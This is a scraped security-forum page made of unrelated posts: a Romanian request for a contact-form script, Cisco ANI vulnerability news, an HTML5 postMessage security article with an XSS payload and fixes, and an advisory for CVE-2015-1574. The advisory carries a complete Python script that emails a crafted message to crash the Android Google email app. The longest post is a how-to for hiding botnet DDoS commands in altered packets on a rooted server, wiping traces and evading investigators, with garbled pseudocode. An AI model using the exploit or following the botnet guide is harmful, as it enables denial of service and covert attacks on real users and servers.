Search the Community

Salut, imi poate scrie cineva send.php pentru: <div id="tooplate_main"> <h4>Contact Form</h4> <form method="post" name="contact" action="#"> <label for="author">Name:</label> <input type="text" id="author" name="author" class="required input_field" /> <div class="cleaner h10"></div> <label for="email">Email:</label> <input type="text" class="validate-email required input_field" name="email" id="email" /> <div class="cleaner h10"></div> <label for="subject">Subject:</label> <input type="text" class="validate-subject required input_field" name="subject" id="subject"/> <div class="cleaner h10"></div> <label for="text">Message:</label> <textarea id="text" name="text" rows="0" cols="0" class="required"></textarea> <div class="cleaner h10"></div> <input type="submit" value="Send" id="submit" name="submit" class="submit_btn float_l" /> <input type="reset" value="Reset" id="reset" name="reset" class="submit_btn float_r" /> </form> </div> </div> cu redirect catre 'mesajtrimis.html' Multumesc

Cisco's turned up vulnerabilities in automation software that open the door to denial-of-service and limited access to devices. The company's Autonomic Network Infrastructure (ANI) feature in IOS provides self-management for various IPv6-supporting routers and Ethernet switches. One of the ANI features is to remove the need for pre-staging in network bootstrap, allowing devices join a network on start, so they can be configured over the network rather than through a local port. The three vulnerabilities exploit this in various ways: Registration authority spoofing (CVE-2015-0635) – insufficient validation of the Autonomic Networking (AN) response message allows an attacker to spoof the message, either bootstrapping a device into an untrusted domain (with limited control over it), DoS-ing the device, and disrupting the victim's domain; DoS using spoofed messages (CVE-2015-0636) – In IOS and IOS XE software, a spoofed “overloaded AN” message resets the state machine; Device reload (CVE-2015-0637) – received AN messages are insufficiently validated, allowing an attacker to trigger system reloads using crafted messages. Devices running Cisco IOS and IOS XE, with ANI enabled, are vulnerable. Cisco has released patches for the vulnerable systems listed in its advisory, here. Source

The Packet Let's look at the packet. That's the thing that makes the internet work, lots of data goes on those, anywhere from 20bytes to 65335 bytes. However, in practice packets are usually around 600 bytes in size. That data stores a lot of info; some is redundant, some is needed, and some is 0'd out. There's a header, a body, extra space, and then error check and footer. It's actually kind of easy to end up with a couple screwed up bits in a packet (obviously not every packet is screwed up, but its not 1 out of every million either). Changing a little bit of the Packet What packet steganography is about is changing a couple of bits over a couple of packets. Similar to image steganography, it's almost impossible to detect (in small quantities) (assuming feds are downloading all the data) as packets are not known to all be made equally. I'm going to quickly give an example. Game A wants to send packet [00010101010001000010101010...000010101011000101...] to Game Server 3. However, you can copy that packet and then resend a slightly modified one, which will look like: [00010101010001000010101010...111110101001001000...] Since a massive amount of data is constantly being sent back and forth from the server to you, the packets can be modified a decent amount so information is carried, but one doesn't have to break the checksum by modifying too many bytes. Multiply 40 bits over a couple thousand packets, and a decent amount of data can be sent covertly from you to the server. What's the best part of this? If you hack servers that get a lot of traffic, it's almost impossible to tell who sent what modded packets to the server even if all of the data is logged because every single packet appears to be legitimate. While there is a decent amount of modded data transferred you can't just go and start downloading ripped movies with this. The point of packet steganography isn't to anonymize your downloads, but to send little messages over networks that won't be found by normal means. Obviously, if person A tries to send messages to person B, A won't send them directly. Instead, he could keep them in an encrypted part of a server. When person B wants to see the message, he unlocks the message by passing the correct key. Psuedocode example using MS Maplestory packets are nice, because they used to be pretty obvious as to what was going on. After the packet header the data of A)what action you were doing and (if a message) what the message was. The message was in plaintext hexidecimal format. Using the code below, we are going to edit a little character of every single message. To anyone looking at the packet it still appears to be a normal message, just with a small typing error. However, to the server and to you, the message really is no longer a message anymore. It's a specific set of instructions. The first couple of whispers to some random person validates to the server that you are the IP to grab the packets from. The final whisper (or packet) the server sees is a specific command to the server. It could be wipe the program on it, it could be tell these servers to do x, y, and z, or it could just be telling the server that there is going to be a new pattern to look out for, and at what certain time. Code for your side: public Whatever{ //obviously it depends for whatever server you hacked into, and what app communicates with the server, but for now lets pretend we hacked into a maplestory server //cool thing about MS is that the packets are pretty easy to understand //yes I realize I am turning Java into a scripting language below, but w/e public void initContact{ for(int i=0; i<10; i++){ String x=scan.grabPacket(); x=x.substring(0,12)+Integer.toHexString(i)+Integer.toHexString(i)+x.substri?ng(14,x.length()); XClass.sendPacket(x); //totally possible if string x winds up being a valid packet, which it is since it's just hex //obviously you have to make a sendPacket method if(scan.nextPacket.equals(neededPacket) XClass.sendPacket(endPacket(Action, Type, IP, Add_Instruct) else System.out.println("Connection was unable to be made"); } } public String endPacket(String x1, String x2, String x3, String x4){ return grabHeader() + " 3A BB 0C FF 2D "+mod(x1)+" "+mod(x2)+" 3C "+mod(x3)+" 85 26 "+mod(x4)+grabFooter(); } } Code for the server(the server is not constantly loading all packets, it only works for a specific amount of time): import everything2.etc //you have to watch out the data storage for this one class ServerInner{ public void acceptEverything() { //kills program in 2 minutes long num = 2 * 60 * 1000; //min*sec*milli Timer t = new Timer(); t.schedule( new TimerTask(){public void run(){} }, num); // no this isn't a legit method, you'd want to use outside resources for this part //but at least the method dies in the two minute timeframe XClass.storeAllPackets(); } public void sortThrough(PacketList P, Method a){ int x=p.length() for(int i=0; i<p.length(); i++){ if(!a.follows(p.get(i))){ p.rem(i); i--; } } //after that method runs, the only packets left should be from you //obviously it is theoretically possible someone else did the exact same as you, so you'd then check them for(int i=0; i<p.length(); i++){ if(!a.check(p.get(i))){ p.rem(i); i--; } } //now all that's left is the correct one } public void finishUP(){ if(p.length()>0){ //translates the info packet from the correct IP if an ip was gathered translate(XClass.nextPacketFrom(p.get1IP()), a); //runs whatever it got run(); } //wipes all data that was stored, logs in database StartClass.wipe(); } } Rough Example in Real Life Application Packet steganography can also be used for sending out instructions to a botnet since you don't really need to send that much information to tell x to DDOS y, now do you? Here's a rough guide of how you'd accomplish communicate through your bots to start a DDOS attack w/ packet steganoraphy, from the setting up the server to the attacking the kid who beat you in MW3 1) Find a good server that has a decent amount of traffic, but nothing too sketchy. 2) Get root access on this server. 3) Download wireshark if you don't already have it. 4a)Write your program to test the wireshark logs to find a pattern in packet anomalies (you figure this one out on your own ). 4b)Write the program that can send out edited packets from your machine. 5) Set up another program that connects the wireshark program with your botnet server. 6) Set up a last program that wipes your traces of you fucking off with the server. 7) Run 6 and leave the shell you set up if you want (I suggest keeping some part of it intact though, depends on what you want to do). 8) Set up a couple more of these steno servers. 9) Realize that you can now send instructions easily but make it look like its a normal connection. Want to ddos server agh554? Connect with one of those servers and send the right kind of packets for a little while. Next thing you know your DDOS servers will be connecting with each other to get the details down and start the attack at the time specified. Because of the way the information is transferred from you to the server it'll be hard to trace the botnet back to you and then convict you as the one who pulled the strings behind a DDOS of a n00b MW3 player. I know that a couple people already do this, but now you know how too. Ending Thoughts (Read it though) So why the hell does this matter? A) all the data will look legitimate you can send it from different sources and it doesn't really matter as long as the packets are getting screwed correctly C) You think it's easy to look through every single packet sent to a server that gets a lot of traffic for the past 4ish months and then find the packets that link with the pattern? D) can be used for stuff other than botnets i) You can send encryption keys through this and then wipe the programs you installed. ii) anonymous communcation E) MITM attacks don't matter unless the MITM got your src(look at number 4) Problems with this? 1) Server gets taken by the feds. They won't be too happy about this 2) A wingding manages to replicate the correct stream, and then gives out commands for your server. This is something you'll just have to accept. Anonymity is what we are going for, too many traces = too many chances of someone finding a link 3) No well known VPNs allow packet modification at the moment. 4) if the feds got your SRC since you and 800 other skids are using the same program, and they catch you are modding packets, you're kinda screwed if they catch you redhanded 5) "I don't get it" Solutions to the problems 1) If modded packets are the only connections between your bots and your servers, its a lot harder to trace since the server has a massive amount of people using it 2) Nothing really, make it so it can't easily be replicated 3) wait for it [breathing intensifies] 4) Don't be a skid 5) See above. Or, read the links at the bottom of the page, learn something interesting, and prove to me that there are users with brains here Credits: TF

In this article, we will discuss HTML5 Web Messaging (or Cross Domain Messaging) attack vectors and security implementations. Why is it important to understand HTML5 attacks? HTML5 is one of the emerging technologies for next generation Web applications. It has brought a lot of new features to the Web. HTML5 applications are also widely used in the mobile app world. Along with the features, HTML5 has brought various new attack vectors as well. The main focus of this article is to show the possible attack vectors with the Cross Domain Messaging feature. Before going ahead with the security concepts of Cross Domain Messaging, let us understand the basics of how Cross Domain Messaging is implemented in HTML5. Cross Domain Messaging Due to the same origin policy restrictions before HTML5, sending messages between windows was only possible if both windows used the same protocol, port, and host. With the introduction of HTML5, all those restrictions are gone and we can now pass messages across domains without having to worry about Same Origin Policy restrictions. HTML5 has a new method called postMessage(). Using this, we can pass messages between windows regardless of their origin. Below is the syntax of postMessage(). Sending Window: otherWindow.postMessage(message, targetOrigin, [transfer]); otherWindow: This is a reference to another window. Message: The message to be passed to the receiving window. targetOrigin: The URL of the receiving window must be specified here. If we do not have any specific preference, we can specify it as “*”. Specifying “*” as ‘targetOrigin’ has some security implications we will discuss in later sections of this article. Transfer: This is optional. Receiving Window: When otherWindow.postMessage() is executed, a messageEvent will be dispatched at the receiver window. We can receive the message dispatched by the sender using the following code snippet. window.addEventListener("message",receiveMessage, false); function receiveMessage(event){ if (event.origin !== "http://site.com:8383") return; // ... } From the above code snippet, we can access the data and origin of this message as shown below. event.origin – Gives the origin of the message (The URI from which we are receiving this message). event.data – Gives the actual message being sent. Now, we have got some basic knowledge of what cross domain messaging in HTML5 is and how it is implemented in the applications. Let us now see the security implications of cross domain messaging. For demonstration purposes, I have set up the following lab. A: http://localhost:8383/ B: Romanian Security Team - Homepage As we can see, we have two different ports on the above two URLs. The first URL is running on port 8383 and the second URL is on the default port 80. So, it is obvious that they have two different origins, since the port numbers are different. In our lab setup, A is the message sender and B is the receiving window. We are going to load the second URL Romanian Security Team - Homepage as an iframe in the first URL. I can send messages from the domain http://localhost:8383/ to the domain Romanian Security Team - Homepage using the postMessage method. We can check it by clicking the “Send Message” button as shown below. The iframe which is loaded into the first URL is from a different origin, but we are able to send a message to it using HTML5’s postMessage() method. Now, let us look at some scenarios where this postMessage() implementation can introduce vulnerabilities into our applications. Case 1 Code at sender: receiver.postMessage('Hi There..!', '*');< When the sender has the above code where he specifies the target origin with a wildcard “*”, an unintended recipient (window) can receive this message from the sender. Since the receiving window is listening for incoming messages, anyone can load it into an iframe and can listen for the messages coming to it. So, it is a bad idea to give a wildcard when passing sensitive data to the receiving windows. How to fix this: It is possible to fix this just by adding the specific target in the target field. So, in this case http://localhost is the only origin that can receive this message. This is as shown below. receiver.postMessage('Hi There..!', 'http://localhost'); Case 2 Code at receiving window: function receiveMessage(e) { do something..! } In the above code, we are receiving the message from the sender and directly processing it without checking who sent this message. It is always important to check the origin of the message to prevent receiving messages from unauthorized senders. How to fix this: function receiveMessage(e) { if (e.origin !== "http://localhost:8383") return; do something..! } Always validate the origin from which you want to receive the messages. In our case, we want to receive messages only from http://localhost:8383. So, we are making a simple check to see if the message is coming from http://localhost:8383 using the property event.origin. If this is not matching, we won’t receive the message. Case 3 The next attack vector is the infamous Cross Site Scripting. Both the sender as well as receiver should always validate the messages being passed. If the data is inserted into HTML DOM without proper validation, then the application becomes vulnerable to DOM based Cross Site Scripting. The following code snippet shows how an application may become vulnerable when a malicious message is received from the attacker and it is inserted into the receiver’s HTML DOM using innerHTML property. Sender: receiver.postMessage("<img src='x' onerror=alert(1);>", 'http://localhost'); Receiver: function receiveMessage(e) { if (e.origin !== "http://localhost:8383") return; messageEle.innerHTML = "Message from localhost:8383: " + e.data; } When the above code is executed, it causes an XSS in the receiving window as shown in the figure below. How to fix this: The easiest way to fix this issue is to assign the data value to an element using textContent rather than using innerHTML. This is done as shown below. Sender: receiver.postMessage("<img src='x' onerror=alert(1);>", 'http://localhost'); Receiver: function receiveMessage(e) { if (e.origin !== "http://localhost:8383") return; element.textContent = "Message from localhost:8383: " + e.data; } When the above code is executed, we should see the text displayed in the receiving frame as “data” rather than code. As we can see in the above figure, the code is now not executed. Rather, it is displayed as normal text. Conclusion We have discussed the basics of Cross Domain Messaging and some of the possible attacks against this feature in HTML5. We will discuss other possible attacks against HTML5 web applications in later articles. Source

Summary: A bug in the stock Google email application version 4.4.2.0200 has been found. An attacker can remotely perform an Denial Of Service attack by sending a specially crafted email. No interaction from the user is needed to produce the crash just receive the malicious email. The CVE-2015-1574 has been assigned. Version 4.2.2.0200 running on a Samsung Galaxy 4 mini fully updated (19 Jan 2015) is affected. Newer versions 4.2.2.0400 are not affected. Details and proof of concept exploit at: http://hmarco.org/bugs/google_email_app_4.2.2_denial_of_service.html Regards, Hector Marco. http://hmarco.org ---------------- Exploit crash_Android_Google_email_4.2.2.0200.py: #!/usr/bin/python ''' * $FILE: crash_Android_Google_email_4.2.2.0200.py * * $VERSION$ * * Authors: Hector Marco <hecmargi@upv.es> * Ismael Ripoll <iripoll@disca.upv.es> * * Date: Released 07 Jan 2015 * * Attack details: http://hmarco.org * * $LICENSE: * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ''' import smtplib from smtplib import SMTPException import sys import getopt #### START CONFIGURE ##### smtpServer = "" # set an appropriate SMTP server smtpServerPort = 25 # SMTP port, default 25 #### END CONFIGURE ##### sender = '' receivers = [] def usage(): print '\n$ %s -s sender@email.com -r receiver@email.com\n' % sys.argv[0] sys.exit(2) def smtpNotConfigured(): print '\n[-] Error: Edit this script and set a SMTP server to send emails\n' sys.exit(2) def printHeader(): print "\nEmail Android Google 4.2.2.0200 crasher" print "=======================================" print "Author: Hector Marco <hmarco@hmarco.org>" print "Website: http://hmarco.org" def main(argv): global sender global receivers try: opts, args = getopt.getopt(argv,"hs:r:",["s=","r="]) if len(sys.argv) == 1: usage() except getopt.GetoptError: usage() for opt, arg in opts: if opt == '-h': usage() elif opt in ("-s", "--sender"): sender = arg elif opt in ("-r", "--receiver"): receivers.append(arg) if __name__ == "__main__": printHeader() if len(smtpServer) == 0: smtpNotConfigured() main(sys.argv[1:]) message = "From: Sender <%s>\n" % sender message += "To: Receiver <%s>\n" % receivers[0] message += """Subject: Crash test Content-Type: text/plain Content-Transfer-Encoding: 8BIT Content-Disposition: ; """ print "\n[+] Sending crafted message to: %s" % receivers[0] try: smtpObj = smtplib.SMTP(smtpServer, int(smtpServerPort)); smtpObj.sendmail(sender, receivers, message) print "[+] Malicious email successfully sent." except SMTPException: print "[-] Error: unable to send the email. Invalid SMTP server ???" sys.exit(2) Source